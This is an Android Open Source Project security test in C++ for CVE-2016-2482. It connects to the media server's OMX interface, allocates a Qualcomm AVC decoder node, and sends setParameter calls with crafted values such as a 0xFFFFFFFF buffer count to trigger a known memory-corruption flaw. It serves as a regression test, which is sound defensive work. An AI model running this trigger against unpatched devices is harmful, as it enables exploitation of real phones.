/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define LOG_TAG "CVE-2016-2482" #include #include #include #include #include #include #include #include #include #include #include #include #include #define OMX_DirInput 0 #define OMX_CORE_INPUT_PORT_INDEX 0 using namespace android; struct DummyOMXObserver : public BnOMXObserver { public: DummyOMXObserver() {} virtual void onMessages(const std::list &messages __unused) {} protected: virtual ~DummyOMXObserver() {} }; // decoder bool fuzzIOMXSetParameterChangeCount() { const char *name = "OMX.qcom.video.decoder.avc"; sp memory; sp node = 0; sp mOmx; IOMX::buffer_id bufferId = 0; int outMemSize = 1024; int bufferCnt = 4; int memSize = 49 * outMemSize * bufferCnt; OMXClient client; if (client.connect() != OK) { ALOGE("OMXClient connect == NULL"); return false; } mOmx = client.interface(); if (mOmx == NULL) { ALOGE("OMXClient interface mOmx == NULL"); client.disconnect(); return false; } sp observerDec = new DummyOMXObserver(); ALOGE("-----------decode------------"); status_t err = mOmx->allocateNode(name, observerDec, &node); if (err != OK) { ALOGE("%s node allocation fails", name); client.disconnect(); return false; } sp dealerIn = new MemoryDealer(memSize); memory = dealerIn->allocate(memSize); if (memory.get() == nullptr) { ALOGE("memory allocation failed , err: %d", err); node->freeNode(); client.disconnect(); return false; } OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc( sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); if (params == NULL) { ALOGE("memory allocation failed , err: %d", err); node->freeNode(); client.disconnect(); return false; } memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); params->eDir = (OMX_DIRTYPE)OMX_DirInput; params->nBufferCountActual = 1024 * 1024 / 16; params->nBufferSize = 0x31000; params->format.video.nFrameHeight = 0; /* * Exit from here if setParameter fails. * This is the expected behavior in Android N */ err = node->setParameter(OMX_IndexParamPortDefinition, params, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); ALOGI("setParameter, err: %d", err); if (err != OK) { node->freeNode(); free(params); client.disconnect(); return false; } /* * Exit from here if useBuffer fails. * This is the expected behavior in Android N */ err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId); ALOGE("useBuffer, err: %d", err); if (err != OK) { node->freeNode(); free(params); client.disconnect(); return false; } params->nBufferCountActual = 0xFFFFFFFF; err = node->setParameter(OMX_IndexParamPortDefinition, params, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); ALOGE("setParameter, change actualcount, err: %d", err); err = node->freeNode(); free(params); client.disconnect(); ALOGI("freeNode, err: %d", err); return true; } int main() { return (int)(!fuzzIOMXSetParameterChangeCount()); }